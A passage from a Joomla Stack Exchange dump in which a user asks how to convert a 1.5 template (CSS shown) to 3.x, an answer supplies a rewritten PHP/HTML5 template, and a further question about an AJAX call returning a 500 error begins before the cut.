#5f5f5f;&#xA;}&#xA;&#xA;#search {   &#xA;    width: 190px;&#xA;    height: 24px;&#xA;    text-align: left;&#xA;    background: url(../images/search.jpg) top right no-repeat;&#xA;    margin: 0 auto;&#xA;    float: right;&#xA;}&#xA;&#xA;#area {&#xA;    padding: 0;&#xA;    margin: 0 auto;&#xA;}&#xA;&#xA;#leftcolumn {&#xA;    margin: 8px;&#xA;    width: 180px;&#xA;    float: left;&#xA;    text-align: left;&#xA;}&#xA;&#xA;#rightcolumn {&#xA;    margin: 8px ;&#xA;    width: 180px;&#xA;    float: left;&#xA;    text-align: left;&#xA;}&#xA;&#xA;div#maincolumn {&#xA;    float: left;&#xA;    width: 603px !important;&#xA;    width: 595px;&#xA;    margin: 8px 0;&#xA;}&#xA;&#xA;div#maincolumn_full {&#xA;    float: left;&#xA;    width: 759px;&#xA;    margin: 8px 0;&#xA;}&#xA;#user6 {&#xA;width: 49%;&#xA;float: left;&#xA;}&#xA;#user7 {&#xA;width: 49%;&#xA;float: right;&#xA;}&#xA;#user8 {&#xA;width: 100%;&#xA;float: left;&#xA;}&#xA;div.nopad {&#xA;    overflow: hidden;&#xA;}&#xA;&#xA;div.nopad ul {&#xA;    clear: both;&#xA;}&#xA;&#xA;td.middle_pad {&#xA;    width: 20px;&#xA;}&#xA;&#xA;#banner_l {&#xA;    text-align: left;&#xA;    padding: 0 0 0 24px;&#xA;}&#xA;&#xA;#content_bottom {&#xA;    background: url(../images/content_bottom.jpg) bottom center no-repeat;&#xA;    height: 2px;&#xA;    width: 1000px;&#xA;    margin: 0 auto;&#xA;    font-size: 0;&#xA;}&#xA;&#xA;#footer {&#xA;    margin: 0 auto;&#xA;    width: 1000px;&#xA;    height: 50px;&#xA;    text-align: center;&#xA;    vertical-align: top;&#xA;    padding-bottom: 10px;&#xA;}&#xA;&#xA;#footer p {&#xA;    height: 20px;&#xA;    text-align: right;&#xA;    padding: 10px 30px 0 0;&#xA;    color: #666;&#xA;}&#xA;&#xA;/*****************************************/&#xA;/*** Joomla! specific content elements ***/&#xA;/*****************************************/&#xA;&#xA;div.offline {&#xA;    background: #fffebb;&#xA;    width: 100%;&#xA;    position: absolute;&#xA;    top: 0;&#xA;    left: 0;&#xA;    font-size: 1.2em;&#xA;    padding: 5px;&#xA;}&#xA;&#xA;/* headers */&#xA;div.componentheading {&#xA;    height: 22px;&#xA;    padding: 0 0 0 4px;&#xA;}&#xA;table.blog {&#xA;&#xA;}&#xA;h1 {&#xA;    padding: 0;&#xA;    font-family: Tahoma, Verdana, sans-serif;&#xA;    font-size: 1.3em;&#xA;    font-weight: bold;&#xA;    vertical-align: bottom;&#xA;    color: #333;&#xA;    text-align: left;&#xA;    width: 100%;&#xA;}&#xA;&#xA;h2, .contentheading {&#xA;    padding: 0;&#xA;    font-family: Tahoma, Verdana, sans-serif;&#xA;    font-size: 14px;&#xA;    vertical-align: middle;&#xA;    color: #0099cc;&#xA;    text-align: left;&#xA;    font-weight: normal;&#xA;}&#xA;&#xA;table.contentpaneopen h3 {&#xA;    margin-top: 25px;&#xA;}&#xA;&#xA;h4 {&#xA;    font-family: Tahoma, Verdana, sans-serif;&#xA;    color: #333;&#xA;}&#xA;&#xA;h3, .componentheading, table.moduletable th, legend {&#xA;    margin: 0;&#xA;    font-family: Tahoma, Verdana, sans-serif;&#xA;    font-size: 14px;&#xA;    text-align: left;&#xA;    color: #555;&#xA;    padding: 0;&#xA;}&#xA;/* small text */&#xA;.small {&#xA;    font-size: 10px;&#xA;    color: #999;&#xA;    font-weight: normal;&#xA;    text-align: left;&#xA;}&#xA;&#xA;.modifydate {&#xA;    height: 20px;&#xA;    vertical-align: bottom;&#xA;    font-size: 10px;&#xA;    color: #999;&#xA;    font-weight: normal;&#xA;    text-align: right;&#xA;}&#xA;&#xA;.createdate {&#xA;    height: 20px;&#xA;    vertical-align: top;&#xA;    font-size: 10px;&#xA;    color: #999;&#xA;    font-weight: normal;&#xA;    vertical-align: top;&#xA;    padding-top: 0px;&#xA;}&#xA;&#xA;a.readon {&#xA;    display: block;&#xA;    float: right;&#xA;    line-height: 14px;&#xA;    font-size: 10px;&#xA;    text-decoration: underline;&#xA;    padding: 1px 2px 1px 2px;&#xA;    color: #666;&#xA;}&#xA;a.readon:hover {&#xA;    color: #333;&#xA;    text-decoration: none;&#xA;}&#xA;&#xA;/* form validation */&#xA;.invalid { border-color: #ff0000; }&#xA;label.invalid { color: #ff0000; }&#xA;&#xA;&#xA;/** overlib **/&#xA;&#xA;.ol-foreground {&#xA;    background-color: #f1f1f1;&#xA;    color: #333;&#xA;}&#xA;&#xA;.ol-background {&#xA;    background-color: #f1f1f1;&#xA;    color: #333;&#xA;}&#xA;&#xA;.ol-textfont {&#xA;    font-family: Tahoma, Verdana, sans-serif;&#xA;    font-size: 10px;&#xA;}&#xA;&#xA;.ol-captionfont {&#xA;    font-family: Tahoma, Verdana, sans-serif;&#xA;    font-size: 12px;&#xA;    color: #f6f6f6;&#xA;    font-weight: bold;&#xA;    background: #f6f6f7;&#xA;}&#xA;.ol-captionfont a {&#xA;    background-color: #f1f1f1;&#xA;    color: #333;&#xA;    text-decoration: none;&#xA;    font-size: 12px;&#xA;}&#xA;&#xA;.ol-closefont {}&#xA;&#xA;/* menu links */&#xA;a.mainlevel:link, a.mainlevel:visited {&#xA;    padding-left: 5px;&#xA;}&#xA;&#xA;a.mainlevel:hover {&#xA;&#xA;}&#xA;&#xA;/* spacers */&#xA;span.article_separator {&#xA;    display: block;&#xA;    height: 20px;&#xA;}&#xA;&#xA;.article_column {&#xA;&#xA;}&#xA;&#xA;.column_separator {&#xA;&#xA;}&#xA;&#xA;td.buttonheading {&#xA;    text-align: right;&#xA;    width: 0;&#xA;}&#xA;&#xA;.clr {&#xA;    clear: both;&#xA;}&#xA;&#xA;table.blog span.article_separator {&#xA;    display: block;&#xA;    height: 20px;&#xA;}&#xA;&#xA;&#xA;&#xA;/* table of contents */&#xA;table.contenttoc {&#xA;  margin: 5px;&#xA;  border: 1px solid #ccc;&#xA;  padding: 5px;&#xA;}&#xA;&#xA;table.contenttoc td {&#xA;  padding: 0 5px;&#xA;}&#xA;&#xA;&#xA;/* content tables */&#xA;td.sectiontableheader {&#xA;  color: #333;&#xA;  font-weight: bold;&#xA;  padding: 4px;&#xA;  border-bottom: 1px solid #CCC;&#xA;  background: #e7e7e7;&#xA;}&#xA;&#xA;tr.sectiontableentry0 td,&#xA;tr.sectiontableentry1 td,&#xA;tr.sectiontableentry2 td {&#xA;  padding: 4px;&#xA;}&#xA;&#xA;td.sectiontableentry0,&#xA;td.sectiontableentry1,&#xA;td.sectiontableentry2 {&#xA;  padding: 3px;&#xA;  color: #666;&#xA;  font-size: 11px;&#xA;}&#xA;&#xA;&#xA;/* content styles */&#xA;.contentpaneopen, table.contentpane {&#xA;    margin: 0;&#xA;    padding: 0;&#xA;}&#xA;&#xA;table.contentpane td{&#xA;    text-align: left;&#xA;}&#xA;&#xA;table.contentpane td.contentdescription {&#xA;    width: 100%;&#xA;}&#xA;&#xA;table.contentpane  {&#xA;    text-align: left;&#xA;    float: left;&#xA;    width: 100%;&#xA;    margin: 8px;&#xA;}&#xA;&#xA;table.contentpane ul li a .category {&#xA;    color: #FF8800;&#xA;}&#xA;&#xA;table.contentpane ul li {&#xA;    color: #333;&#xA;}&#xA;&#xA;table.contentpaneopen {&#xA;    margin: 2px 4px;&#xA;}&#xA;&#xA;table.contentpaneopen li {&#xA;    margin-bottom: 5px;&#xA;}&#xA;&#xA;table.contentpaneopen fieldset {&#xA;    border: 0;&#xA;    border-top: 1px solid #669933;&#xA;}&#xA;&#xA;table.contentpaneopen h3 {&#xA;    margin-top: 25px;&#xA;}&#xA;&#xA;table.contentpaneopen h4 {&#xA;    font-family: Tahoma, Verdana, sans-serif;&#xA;    color: #669933;&#xA;}&#xA;&#xA;.highlight {&#xA;    background-color: #fffebb;&#xA;}&#xA;&#xA;/* module control elements */&#xA;table.user1user2 div.moduletable {&#xA;    margin-bottom: 0px;&#xA;}&#xA;&#xA;div.module_menu, div.module, div.module_text {&#xA;    padding: 0;&#xA;    margin: 0 0 14px 0;&#xA;}&#xA;&#xA;div.module_menu div, div.module div, div.module_text div {&#xA;    padding: 0;&#xA;    background: #e2e2e2;&#xA;}&#xA;&#xA;div.module_menu div div, div.module div div, div.module_text div div {&#xA;    padding: 1px;&#xA;}&#xA;&#xA;div.module_menu div div div, div.module div div div, div.module_text div div div{&#xA;    padding: 0 0 1px 0;&#xA;    background: #f6f6f6;&#xA;}&#xA;&#xA;div.module_menu div div div div, div.module div div div div {&#xA;    background: #f6f6f6;&#xA;    padding: 0 0 0 0;&#xA;}&#xA;&#xA;div.module_menu div div div form, div.module div div div form{&#xA;    padding: 6px 0 6px 0;&#xA;}&#xA;&#xA;&#xA;&#xA;&#xA;div.module_menu ul {&#xA;    list-style: none;&#xA;}&#xA;&#xA;div.module_menu ul li{&#xA;    margin: 0;&#xA;    padding: 0;&#xA;}&#xA;&#xA;div.module_menu ul li a:link, div.module_menu ul li a:visited {&#xA;    font-weight: bold;&#xA;    background: transparent url(../images/blue/bullet2.jpg) top left no-repeat;&#xA;    padding: 2px 0 2px 25px;&#xA;    line-height: 24px;&#xA;}&#xA;&#xA;&#xA;#leftcolumn div.module table ,#rightcolumn div.module table {&#xA;&#xA;}&#xA;&#xA;#leftcolumn div.module table.poll {&#xA;    padding: 0;&#xA;    margin: 0 auto;&#xA;}&#xA;&#xA;/* LEFT COL H3 */&#xA;#leftcolumn h3, #rightcolumn h3, #maincolumn h3, #maincolumn_full h3 {  &#xA;    color: #666;&#xA;    font-family: Tahoma, Verdana, sans-serif;&#xA;    font-size: 12px;&#xA;    text-align: left;&#xA;    height: 26px;&#xA;    /*width: 170px;*/&#xA;    text-decoration: none;&#xA;    padding: 0 0 0 10px;&#xA;    background: url(../images/h3.jpg) top left repeat-x;&#xA;    font-weight: normal;&#xA;    line-height: 26px;&#xA;}&#xA;#leftcolumn h3, #rightcolumn h3 {&#xA;width: 168px;&#xA;}&#xA;#maincolumn .moduletble h3 {&#xA;width: 564px;&#xA;}&#xA;#maincolumn_full .moduletable h3 {&#xA;width: 752px;&#xA;}&#xA;#leftcolumn .moduletable_menu, #leftcolumn .moduletable, #leftcolumn .moduletable_text, #leftcolumn .c, &#xA;#rightcolumn .moduletable_menu, #rightcolumn .moduletable, #rightcolumn .moduletable_text, #rightcolumn .c {&#xA;    margin: 0 0 16px 0;&#xA;    padding: 6px 10px;&#xA;}&#xA;&#xA;#leftcolumn .moduletable form, #leftcolumn .module_text .bannergroup_text,&#xA;#rightcolumn .moduletable form, #rightcolumn .module_text .bannergroup_text {&#xA;    padding: 6px 10px;&#xA;}&#xA;&#xA;#leftcolumn ul.menu, #rightcolumn ul.menu {&#xA;    margin: 0;&#xA;    padding: 2px;&#xA;    list-style: none;&#xA;}&#xA;&#xA;#leftcolumn ul.menu li, #rightcolumn ul.menu li {&#xA;    margin: 0 4px 0 4px;&#xA;    padding: 0;&#xA;}&#xA;&#xA;#leftcolumn ul.menu li:hover, #rightcolumn ul.menu li:hover {&#xA;&#xA;}&#xA;&#xA;/*LEFT COL LINK*/&#xA;#leftcolumn ul.menu li a, #leftcolumn ul.menu li a:link,&#xA;#rightcolumn ul.menu li a, #rightcolumn ul.menu li a:link {&#xA;    line-height: 20px;&#xA;    padding: 0 0 0 10px;&#xA;    text-decoration: none;&#xA;    color: #666;&#xA;    font-weight: normal;&#xA;    font-size: 11px;&#xA;    background: url(../images/menu_row.jpg) center left no-repeat;&#xA;    margin: 0;&#xA;}&#xA;&#xA;#leftcolumn ul.menu li a:hover, #rightcolumn ul.menu li a:hover {&#xA;    color: #333;&#xA;}&#xA;&#xA;/*LEFT COL CURRENT LINK*/&#xA;#leftcolumn ul.menu li#current a, #leftcolumn ul.menu li#current a:link, &#xA;#rightcolumn ul.menu li#current a, #rightcolumn ul.menu li#current a:link {&#xA;    line-height: 20px;&#xA;    padding: 0 0 0 10px;&#xA;    text-decoration: none;&#xA;    color: #333;&#xA;    font-weight: normal;&#xA;    font-size: 11px;&#xA;    margin: 0;&#xA;}&#xA;&#xA;#leftcolumn ul.menu li#current a:hover, #rightcolumn ul.menu li#current a:hover {&#xA;&#xA;}&#xA;&#xA;/*LEFT COL SUB LINK*/&#xA;#leftcolumn ul.menu li#current ul li a, #leftcolumn ul.menu li#current ul li a:link {&#xA;    text-decoration: none;&#xA;    color: #666;&#xA;    margin: 0;&#xA;    font-size: 11px;&#xA;    background: url(../images/sub_menu_row.jpg) center left no-repeat;&#xA;    font-weight: normal;&#xA;    display: block;&#xA;    line-height: 20px;&#xA;    padding: 0 0 0 18px;&#xA;    border: none;&#xA;}&#xA;&#xA;#leftcolumn ul.menu li ul li#current a, #leftcolumn ul.menu li ul li#current a:link, #leftcolumn ul.menu li ul li#current a:visited, #leftcolumn ul.menu li ul li#current a:hover {&#xA;    font-size: 11px;&#xA;    margin: 0;&#xA;    padding: 0 0 0 8px;&#xA;    text-decoration: none;&#xA;    border: none;&#xA;    color: #333;&#xA;}&#xA;/*SUBMENU POSITION*/&#xA;#leftcolumn ul.menu li#current ul {&#xA;    margin: 0;&#xA;    padding: 0;&#xA;}&#xA;&#xA;#leftcolumn ul.menu li#current ul li {&#xA;    margin: 0;&#xA;    padding: 0;&#xA;}&#xA;&#xA;/*CURRENT SUBMENU POSITION*/&#xA;#leftcolumn ul.menu li ul {&#xA;    margin: 0;&#xA;    padding: 0 0 0 6px;&#xA;}&#xA;&#xA;#leftcolumn ul.menu li#current ul li a:hover {&#xA;    color: #333;&#xA;}&#xA;&#xA;#leftcolumn ul.menu li ul, #rightcolumn ul.menu li ul {&#xA;    list-style: none;&#xA;}&#xA;&#xA;/* forms */&#xA;#leftcolumn .moduletable ul, #rightcolumn .moduletable ul {&#xA;    margin:6px 0;&#xA;    padding:0;&#xA;    list-style:none;&#xA;}&#xA;&#xA;#leftcolumn .moduletable ul li, #rightcolumn .moduletable ul li {&#xA;    margin:0;&#xA;    padding:0 2px;&#xA;}&#xA;&#xA;table.adminform textarea {&#xA;  width: 540px;&#xA;  height: 400px;&#xA;  font-size: 1em;&#xA;  color: #000099;&#xA;}&#xA;&#xA;div.search input {&#xA;    width: 90px;&#xA;    border: 0;&#xA;    height: 15px;&#xA;}&#xA;&#xA;form#form-login fieldset { &#xA;    border: 0 none; &#xA;    margin: 0; &#xA;}&#xA;form#form-login ul li{ &#xA;    padding: 0; &#xA;}&#xA;&#xA;form#form-login ul li a {&#xA;    text-align: left;&#xA;    padding: 0;&#xA;    font-size: 10px;&#xA;    color: #555;&#xA;}&#xA;&#xA;/* thumbnails */&#xA;div.mosimage         {  margin: 5px; }&#xA;div.mosimage_caption {  font-size: .90em; color: #333; }&#xA;&#xA;div.caption       { padding: 0 10px 0 10px; }&#xA;div.caption img   { border: 1px solid #CCC; }&#xA;div.caption p     { font-size: .90em; color: #333; text-align: center; }&#xA;&#xA;/* Parameter Table */&#xA;table.paramlist {&#xA;    margin-top: 5px;&#xA;}&#xA;&#xA;table.paramlist td.paramlist_key {&#xA;    width: 128px;&#xA;    text-align: left;&#xA;    height: 30px;&#xA;}&#xA;&#xA;table.paramlist td.paramlist_value {&#xA;}&#xA;&#xA;div.message {&#xA;    font-family: Tahoma, Verdana, sans-serif;&#xA;    font-weight: bold;&#xA;    font-size : 14px;&#xA;    color : #c30;&#xA;    text-align: center;&#xA;    width: auto;&#xA;    background-color: #f9f9f9;&#xA;    border: solid 1px #d5d5d5;&#xA;    margin: 3px 0px 10px;&#xA;    padding: 3px 20px;&#xA;}&#xA;&#xA;/* Banners module */&#xA;&#xA;/* Default skyscraper style */&#xA;.bannergroup {&#xA;}&#xA;&#xA;.banneritem {&#xA;}&#xA;&#xA;/* Text advert style */&#xA;&#xA;.banneritem_text {&#xA;    padding: 4px;&#xA;    font-size: 11px;&#xA;}&#xA;&#xA;.bannerfooter_text {&#xA;    padding: 4px;&#xA;    font-size: 11px;&#xA;    text-align: right;&#xA;}&#xA;&#xA;/* System Messages */&#xA;/* see system general.css */&#xA;&#xA;.pagination span { padding: 2px; }&#xA;.pagination a    { padding: 2px; }&#xA;&#xA;/* Polls */&#xA;.pollstableborder td {&#xA;    text-align: left;&#xA;}&#xA;&#xA;/* Frontend Editing*/&#xA;fieldset {&#xA;    border: 1px solid #ccc;&#xA;    margin-top: 15px;&#xA;    padding: 15px;&#xA;}&#xA;&#xA;legend {&#xA;    margin: 0;&#xA;    padding: 0 10px;&#xA;}&#xA;&#xA;td.key {&#xA;    border-bottom:1px solid #eee;&#xA;    color: #333;&#xA;}&#xA;&#xA;/* Tooltips */&#xA;.tool-tip {&#xA;    float: left;&#xA;    background: #ffc;&#xA;    border: 1px solid #D4D5AA;&#xA;    padding: 5px;&#xA;    max-width: 200px;&#xA;}&#xA;&#xA;.tool-title {&#xA;    padding: 0;&#xA;    margin: 0;&#xA;    font-size: 100%;&#xA;    font-weight: bold;&#xA;    margin-top: -15px;&#xA;    padding-top: 15px;&#xA;    padding-bottom: 5px;&#xA;    background: url(../../system/images/selector-arrow.png) no-repeat;&#xA;}&#xA;&#xA;.tool-text {&#xA;    font-size: 100%;&#xA;    margin: 0;&#xA;}&#xA;&#xA;/* System Standard Messages */&#xA;#system-message dd.message ul { &#xA;    padding: 0;&#xA;    margin: 0;&#xA;    background: none;&#xA;    border: none;&#xA;}&#xA;&#xA;/* System Error Messages */&#xA;#system-message dd.error ul { &#xA;    color: #c00; &#xA;    background: none;&#xA;    border: none;&#xA;    padding: 0;&#xA;    margin: 0;&#xA;}&#xA;&#xA;/* System Notice Messages */&#xA;#system-message dd.notice ul { &#xA;    color: #c00; &#xA;    background: none;&#xA;    border: none;&#xA;    padding: 0;&#xA;    margin: 0;&#xA;}&#xA;&#xA;#system-message dd {&#xA;    text-indent: 0;&#xA;}&#xA;&#xA;#system-message dd ul {&#xA;    list-style-type: none;&#xA;    color: #c00; &#xA;    background: none;&#xA;    border: none;&#xA;}&#xA;&#xA;#system-message {&#xA;    margin-top: 5px;&#xA;}&#xA;&#xA;&#xA;&#xA;/* ****************************************************************************** */&#xA;/* blue */&#xA;input, button {&#xA;&#xA;}&#xA;/* blue */&#xA;input[type=&quot;checkbox&quot;], input[type=&quot;radio&quot;]{&#xA;   background: transparent;&#xA;   border: none;&#xA;}&#xA;&#xA;/* -------------------------- */&#xA;a.sgfooter:link, a.sgfooter:visited {&#xA;    color: #555;&#xA;    font-family: Tahoma, Verdana, sans-serif;&#xA;    text-decoration: none;&#xA;}&#xA;a.sgfooter:hover {&#xA;    color: #555;&#xA;    font-family: Tahoma, Verdana, sans-serif;&#xA;    text-decoration: none;&#xA;}&#xA;#sgf {&#xA;    font-size: 11px;&#xA;    text-align: center;&#xA;    width: 100%;&#xA;    margin: 0 auto;&#xA;    color: #555;&#xA;    font-family: Tahoma, Verdana, sans-serif;&#xA;}&#xA;.sgf {&#xA;    text-align: right;&#xA;    font-size: 11px;&#xA;    font-family: Tahoma, Verdana, sans-serif;&#xA;    color: #555;&#xA;    text-decoration: none;&#xA;}&#xA;.sgf1 {&#xA;    font-size: 11px;&#xA;    font-family: Tahoma, Verdana, sans-serif;&#xA;    color: #555;&#xA;    text-align: left;&#xA;}&#xA;&#xA;a.sglink:link, a.sglink:visited {&#xA;    color: #555;&#xA;    font-size: 11px;&#xA;    font-family: Tahoma, Verdana, sans-serif;&#xA;    text-decoration: none;&#xA;}&#xA;a.sglink:hover {&#xA;    color: #555;&#xA;    font-family: Tahoma, Verdana, sans-serif;&#xA;    text-decoration: none;&#xA;    }&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;Any help would be appreciated.&lt;/p&gt;&#xA;" OwnerUserId="9733" LastEditorUserId="9733" LastEditDate="2017-02-23T08:18:49.963" LastActivityDate="2017-02-23T08:18:49.963" Title="Convert 1.5 template to 3.x" Tags="|templates|" AnswerCount="1" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="19202" PostTypeId="2" ParentId="19201" CreationDate="2017-02-23T00:18:52.670" Score="3" Body="&lt;p&gt;There are a few errors within your template. Try the following which fixes them, uses HTML5 doctype and some other coding standard improvements:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;&amp;lt;?php &#xA;defined('_JEXEC') or die('Restricted access');&#xA;&#xA;$lang = JFactory::getLanguage();&#xA;$lang-&amp;gt;load('tpl_SG1', JPATH_SITE, 'en-GB', true);&#xA;&#xA;$config = JFactory::getConfig();&#xA;$app    = JFactory::getApplication();&#xA;$params = $app-&amp;gt;getParams();&#xA;?&amp;gt;&#xA;&amp;lt;!DOCTYPE html&amp;gt;&#xA;&amp;lt;html lang=&quot;&amp;lt;?php echo $this-&amp;gt;language; ?&amp;gt;&quot;&amp;gt;&#xA;&amp;lt;head&amp;gt;&#xA;    &amp;lt;jdoc:include type=&quot;head&quot; /&amp;gt;&#xA;    &amp;lt;link rel=&quot;stylesheet&quot; href=&quot;templates/system/css/system.css&quot;&amp;gt;&#xA;    &amp;lt;link rel=&quot;stylesheet&quot; href=&quot;templates/&amp;lt;?php echo $this-&amp;gt;template ?&amp;gt;/css/template.css&quot;&amp;gt;&#xA;&amp;lt;/head&amp;gt;&#xA;&amp;lt;body id=&quot;page_bg&quot;&amp;gt;&#xA;    &amp;lt;div id=&quot;all&quot;&amp;gt;&#xA;        &amp;lt;div id=&quot;top&quot;&amp;gt;  &#xA;            &amp;lt;div class=&quot;pill_m&quot;&amp;gt;&#xA;                &amp;lt;div id=&quot;pillmenu&quot;&amp;gt;&#xA;                    &amp;lt;jdoc:include type=&quot;modules&quot; name=&quot;user3&quot; /&amp;gt;&#xA;                &amp;lt;/div&amp;gt;&#xA;            &amp;lt;/div&amp;gt;&#xA;            &amp;lt;div id=&quot;search&quot;&amp;gt;&#xA;                &amp;lt;?php if ($this-&amp;gt;countModules('user4')) : ?&amp;gt;&#xA;                    &amp;lt;jdoc:include type=&quot;modules&quot; name=&quot;user4&quot; /&amp;gt;&#xA;                &amp;lt;?php endif; ?&amp;gt;&#xA;            &amp;lt;/div&amp;gt;&#xA;            &amp;lt;div class=&quot;clr&quot;&amp;gt;&amp;lt;/div&amp;gt;&#xA;        &amp;lt;/div&amp;gt;&#xA;        &amp;lt;div id=&quot;middle&quot;&amp;gt;&amp;lt;/div&amp;gt;&#xA;        &amp;lt;div id=&quot;header&quot;&amp;gt;&#xA;            &amp;lt;div id=&quot;logo&quot;&amp;gt;&#xA;                &amp;lt;a href=&quot;index.php&quot;&amp;gt;&amp;lt;?php echo $config-&amp;gt;get('sitename');?&amp;gt;&amp;lt;/a&amp;gt;&#xA;            &amp;lt;/div&amp;gt;  &#xA;            &amp;lt;div id=&quot;top-banner&quot;&amp;gt;&#xA;                &amp;lt;div id=&quot;top-spacer&quot;&amp;gt;&#xA;                    &amp;lt;?php if ($this-&amp;gt;countModules('user1')) : ?&amp;gt;&#xA;                        &amp;lt;jdoc:include type=&quot;modules&quot; name=&quot;user1&quot; style=&quot;xhtml&quot; /&amp;gt;&#xA;                    &amp;lt;?php endif; ?&amp;gt;&#xA;                &amp;lt;/div&amp;gt;&#xA;                &amp;lt;?php if ($this-&amp;gt;countModules('user2')) : ?&amp;gt;&#xA;                    &amp;lt;jdoc:include type=&quot;modules&quot; name=&quot;user2&quot; style=&quot;xhtml&quot; /&amp;gt;&#xA;                &amp;lt;?php endif; ?&amp;gt;&#xA;            &amp;lt;/div&amp;gt;&#xA;        &amp;lt;/div&amp;gt;&#xA;        &amp;lt;div class=&quot;center&quot;&amp;gt;        &#xA;            &amp;lt;div id=&quot;wrapper&quot;&amp;gt;&#xA;                &amp;lt;div id=&quot;area&quot;&amp;gt; &#xA;                    &amp;lt;div id=&quot;content&quot;&amp;gt;  &#xA;                        &amp;lt;div id=&quot;leftcolumn&quot;&amp;gt;   &#xA;                            &amp;lt;jdoc:include type=&quot;modules&quot; name=&quot;left&quot; style=&quot;rounded&quot; /&amp;gt;&#xA;                            &amp;lt;?php $sg = 'banner'; include_once 'templates.php'; ?&amp;gt;&#xA;                        &amp;lt;/div&amp;gt;&#xA;                        &amp;lt;?php if ($this-&amp;gt;countModules('right') &amp;amp;&amp;amp; $config-&amp;gt;get('layout') !== 'form') : ?&amp;gt;&#xA;                            &amp;lt;div id=&quot;maincolumn&quot;&amp;gt;&#xA;                        &amp;lt;?php else: ?&amp;gt;&#xA;                        &amp;lt;div id=&quot;maincolumn_full&quot;&amp;gt;&#xA;                        &amp;lt;?php endif; ?&amp;gt;&#xA;                            &amp;lt;div class=&quot;nopad&quot;&amp;gt;&#xA;                                &amp;lt;?php if ($this-&amp;gt;countModules('user5')) : ?&amp;gt;&#xA;                                    &amp;lt;jdoc:include type=&quot;modules&quot; name=&quot;user5&quot; style=&quot;rounded&quot; /&amp;gt;&#xA;                                &amp;lt;?php endif; ?&amp;gt;&#xA;&#xA;                                &amp;lt;jdoc:include type=&quot;message&quot; /&amp;gt;&#xA;&#xA;                                &amp;lt;?php if ($params-&amp;gt;get('showComponent')) : ?&amp;gt;&#xA;                                    &amp;lt;jdoc:include type=&quot;component&quot; /&amp;gt;&#xA;                                &amp;lt;?php endif; ?&amp;gt;&#xA;&#xA;                                &amp;lt;div id=&quot;container&quot;&amp;gt;&#xA;                                    &amp;lt;div id=&quot;user6&quot;&amp;gt;&#xA;                                        &amp;lt;?php if ($this-&amp;gt;countModules('user6')) : ?&amp;gt;&#xA;                                            &amp;lt;jdoc:include type=&quot;modules&quot; name=&quot;user6&quot; style=&quot;rounded&quot; /&amp;gt;&#xA;                                        &amp;lt;?php endif; ?&amp;gt;&#xA;                                    &amp;lt;/div&amp;gt;&#xA;                                    &amp;lt;div id=&quot;user7&quot;&amp;gt;&#xA;                                        &amp;lt;?php if ($this-&amp;gt;countModules('user7')) : ?&amp;gt;&#xA;                                            &amp;lt;jdoc:include type=&quot;modules&quot; name=&quot;user7&quot; style=&quot;rounded&quot; /&amp;gt;&#xA;                                        &amp;lt;?php endif; ?&amp;gt;&#xA;                                    &amp;lt;/div&amp;gt;&#xA;                                    &amp;lt;div id=&quot;user8&quot;&amp;gt;&#xA;                                        &amp;lt;?php if ($this-&amp;gt;countModules('user8')) : ?&amp;gt;&#xA;                                            &amp;lt;jdoc:include type=&quot;modules&quot; name=&quot;user8&quot; style=&quot;rounded&quot; /&amp;gt;&#xA;                                        &amp;lt;?php endif; ?&amp;gt;&#xA;                                    &amp;lt;/div&amp;gt;&#xA;                                &amp;lt;/div&amp;gt;&#xA;                            &amp;lt;/div&amp;gt;&#xA;                        &amp;lt;/div&amp;gt;&#xA;                        &amp;lt;div id=&quot;rightcolumn&quot; style=&quot;float: right;&quot;&amp;gt;&#xA;                            &amp;lt;jdoc:include type=&quot;modules&quot; name=&quot;right&quot; style=&quot;rounded&quot; /&amp;gt;                                &#xA;                        &amp;lt;/div&amp;gt;&#xA;                    &amp;lt;/div&amp;gt;&#xA;                &amp;lt;/div&amp;gt;&#xA;            &amp;lt;/div&amp;gt;&#xA;            &amp;lt;div class=&quot;clr&quot;&amp;gt;&amp;lt;/div&amp;gt;&#xA;        &amp;lt;/div&amp;gt;              &#xA;        &amp;lt;jdoc:include type=&quot;modules&quot; name=&quot;debug&quot; /&amp;gt;    &#xA;        &amp;lt;div id=&quot;content_bottom&quot;&amp;gt;&amp;lt;/div&amp;gt;&#xA;        &amp;lt;div id=&quot;footer&quot;&amp;gt;&#xA;            &amp;lt;p&amp;gt;Valid &amp;lt;a href=&quot;http://validator.w3.org/check/referer&quot;&amp;gt;XHTML&amp;lt;/a&amp;gt; and &amp;lt;a href=&quot;http://jigsaw.w3.org/css-validator/check/referer&quot;&amp;gt;CSS&amp;lt;/a&amp;gt;.&amp;lt;/p&amp;gt;&#xA;            &amp;lt;div id=&quot;sgf&quot;&amp;gt;&#xA;                &amp;lt;?php $sg = ''; include_once 'templates.php'; ?&amp;gt;&#xA;            &amp;lt;/div&amp;gt;&#xA;        &amp;lt;/div&amp;gt;  &#xA;    &amp;lt;/div&amp;gt;&#xA;&amp;lt;/body&amp;gt;&#xA;&amp;lt;/html&amp;gt;&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;I haven't tested this so it may need tweaking.&lt;/p&gt;&#xA;" OwnerUserId="168" LastActivityDate="2017-02-23T00:18:52.670" CommentCount="3" ContentLicense="CC BY-SA 3.0" />
  <row Id="19203" PostTypeId="1" AcceptedAnswerId="19205" CreationDate="2017-02-23T01:04:22.063" Score="1" ViewCount="2208" Body="&lt;p&gt;I have a PHP file that will echo results in the end of the file.  I want to fire some Javascript from an onclick event that will call this PHP file and print the results on screen.  My Javascript looks like this, but I get a 500 error, and am not sure why.&lt;/p&gt;&#xA;&lt;p&gt;What is incorrect in my syntax?  Or what is the proper way to do this in Joomla 3.5?&lt;/p&gt;&#xA;&lt;pre&gt;&lt;code&gt;&amp;lt;form id=&amp;quot;HomePage&amp;quot; method=&amp;quot;post&amp;quot;&amp;gt;&#xA;&amp;lt;div style=&amp;quot;padding-top: 10px;&amp;quot;&amp;gt;&amp;lt;input type=&amp;quot;submit&amp;quot; value=&amp;quot;Submit&amp;quot; id=&amp;quot;ajaxButton&amp;quot; /&amp;gt;&amp;lt;/div&amp;gt;&#xA;&amp;lt;div style=&amp;quot;padding-top: 10px;&amp;quot;&amp;gt;&amp;amp;nbsp;&amp;lt;/div&amp;gt;&#xA;&amp;lt;/div&amp;gt;&#xA;&amp;lt;script type=&amp;quot;text/javascript&amp;quot;&amp;gt;&#xA;(function() {&#xA;  var httpRequest;&#xA;  